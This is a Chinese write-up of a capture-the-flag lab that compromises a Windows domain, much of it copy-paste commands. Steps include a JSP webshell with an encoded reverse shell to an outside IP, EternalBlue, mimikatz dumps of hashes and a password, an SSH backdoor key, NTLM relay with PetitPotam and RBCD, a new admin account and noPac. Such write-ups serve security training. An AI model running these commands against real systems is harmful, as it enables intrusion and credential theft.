春秋云镜-Spoofing

flag01

image-20240924184901833

进来是个后台管理页面

image-20240924184915865

扫目录发现是tomcat

http://39.101.188.249:8080/docs/

版本是9.0.30

image-20240924185102077

搜索发现存在CNVD-2020-10487漏洞

之前iscc打过,直接利用这个脚本打

image-20240924193414849

image-20240924193426145但是我们需要有恶意文件才能包含从而获取权限,因此我们需要找到一个上传接口,正好在web.xml中发现接口UploadTestServlet,访问发现是上传文件接口,上传反弹shell文件,内容如下

1
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzQuODAuMTUyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b));  out.print("</pre>"); } %>

image-20240924194438490

image-20240924194900162

flag02

上frp fscan

image-20240924195108580

image-20240924195159923

172.22.11.6 DC 域控

172.22.11.45 域内机器 永恒之蓝

172.22.11.26 域内机器

172.22.11.76 入口机

其中一台有ms17-010 永恒之蓝

1
2
3
4
5
6
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.11.45
run
shell
cat C:/users/administrator/flag/flag02.txt

image-20240924210657161

flag03

1
2
3
load kiwi
hashdump
creds_all

image-20240924210739260

1
2
3
4
5
Username     Domain    NTLM                              SHA1
-------- ------ ---- ----
XR-DESKTOP$ XIAORANG 4000cd5aa5e32609adb5a74594cf2626 75c5530d1c25250c4eaae71f829f4d2e80daf034
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f

image-20240924210752868

得到了机器账户和yangmei的哈希

1
2
3
4
5
6
7
Username     Domain        Password
-------- ------ --------
(null) (null) (null)
xr-desktop$ XIAORANG.LAB (null)
xr-desktop$ XIAORANG.LAB AM&:=4^NSbVU\Ke-XklyW8eB"?'5ldu/0z9y@Yt3*5I*.>MNcU#>Scjm$q+3EM KoU-C&D\.,-I -,$40cEKUJcI8@yCCvf!b)aP<kkc*3!?*VY\I<xW($)o
yangmei XIAORANG.LAB xrihGHgoNZQ

image-20240924211053010

用前面拿到的密码进行密码喷洒

发现在26这台机器上存在Webclient服务

大体思路

1
2
3
4
1、用petitpotam触发目标访问HTTP服务
2、目标使用webclient携带NTLM认证访问中继,并将NTLM认证中继到LDAP
3、获取到机器账号身份
4、以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性,从而允许我们访问到目标机器。

需要打中继攻击

中继环境配置

我们需要把服务器的80端口,转发到客户端本地的80端口。

因此先配置下密钥,写下后门。

1
2
3
4
5
6
攻击机
ssh-keygen -t rsa -b 4096
cat id_rsa.pub
靶机
echo "pub中的内容" >/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

image-20240924225703984

由于SSH的反向端口在转发监听的时候只会监听127.0.0.1,所以这里需要稍微改动

即使反向在转发79端口指定监听全部,端口79仍绑定在127.0.0.1

因此我们可以多加一条,将流量0.0.0.0:80转发到127.0.0.1:79,再反向转发回客户端本地的80,变相使得80监听在0.0.0.0

在入口机使用,也就是管理后台对应的服务器

1
2
ssh -i id_rsa root@39.99.243.184 -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:vpsip:79 &

接下来本地开启ntlmrelayx,利用前面抓到的XR-Desktop作为恶意账户设置RBCD

1
proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access

接着使用PetitPotam触发XR-LCM3AE8B强制认证到172.22.11.26

1
proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26

image-20240924222624256

image-20240924225825941

获得认证

申请票据

1
proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :4000cd5aa5e32609adb5a74594cf2626xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6

image-20240924223719099

导入票据

1
2
3
4
export KRB5CCNAME=administrator.ccache
sudo vim /etc/hosts
#填入内容如下
172.22.11.26XR-LCM3AE8B.xiaorang.lab

利用票据进行横向

image-20240924223820410

flag04

添加用户

1
2
net user Q1ngchuan 123456Aa@ /add
net localgroup administrators Q1ngchuan /add

远程连接上

利用猕猴桃抓取密码

1
2
privilege::debug
sekurlsa::logonpasswords
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Authentication Id : 0 ; 59623 (00000000:0000e8e7)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2024/9/24 21:31:11
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : 4f4f02c4e678c1d10ff790b9b1f2c414
* SHA1 : 5731f84dc19df7f98ca183fb3113c27c5141bc57
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
Authentication Id : 0 ; 900744 (00000000:000dbe88)
Session : RemoteInteractive from 2
User Name : zhanghui
Domain : XIAORANG
Logon Server : XIAORANG-DC
Logon Time : 2024/9/24 21:34:53
SID : S-1-5-21-3598443049-773813974-2432140268-1133
msv :
[00000003] Primary
* Username : zhanghui
* Domain : XIAORANG
* NTLM : 1232126b24cdf8c9bd2f788a9d7c7ed1
* SHA1 : f3b66ff457185cdf5df6d0a085dd8935e226ba65
* DPAPI : 4bfe751ae03dc1517cfb688adc506154
tspkg :
wdigest :
* Username : zhanghui
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : zhanghui
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :

Nopac

题目描述中提到了noPac,搜索发现这篇文章https://xz.aliyun.com/t/10694

漏洞原理大致如下

1
2
3
1、我们创建了与DC机器账户名字相同的机器账号(不以$结尾,与CVE-2021-42278结合,此时AD未对域内机器用户名做验证)
2、账户请求TGT后,更改账户名字,通过S4U2Self申请TGS 票据
3、DC在TGS_REP阶段,这个账户不存在,DC用自己的密钥加密TGS 票据,提供一个属于该账号的PAC,此时得到一个高权限的ST

大致了解了原理,我们接下来进行实践

使用刚刚抓到的账号尝试攻击

1
proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell

image-20240924224938185

总结

这个靶场真是难到我了

中继攻击还麻烦到chu0师傅给我讲解,感谢感谢!!

这里写一下中继攻击,在vps上做中继

我们这时候已经拿下了39.99.xx.xxx,但由于其内网主机中的172.22.11.26在内网,我们无法访问到其80端口,由于NTML认证要通过80端口,我们无法实现,就想要办法吧其流量转发出来

在本地的kali上利用植入的后门连上服务器

1
2
3
4
ssh -i id_rsa root@39.99.243.184 -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80
将被拿下主机39.99.xx.xxx的80端口上的流量转79端口上,在传回vps
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:vpsip:79 &
让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0

挂上frp,vps也挂着frp即可

然后通过 PetitPotam 强制39.99.xx.xxx对172.22.11.26的80端口执行身份验证验证请求将通过端口转发到vps上并由 ntlmrelayx.py 接收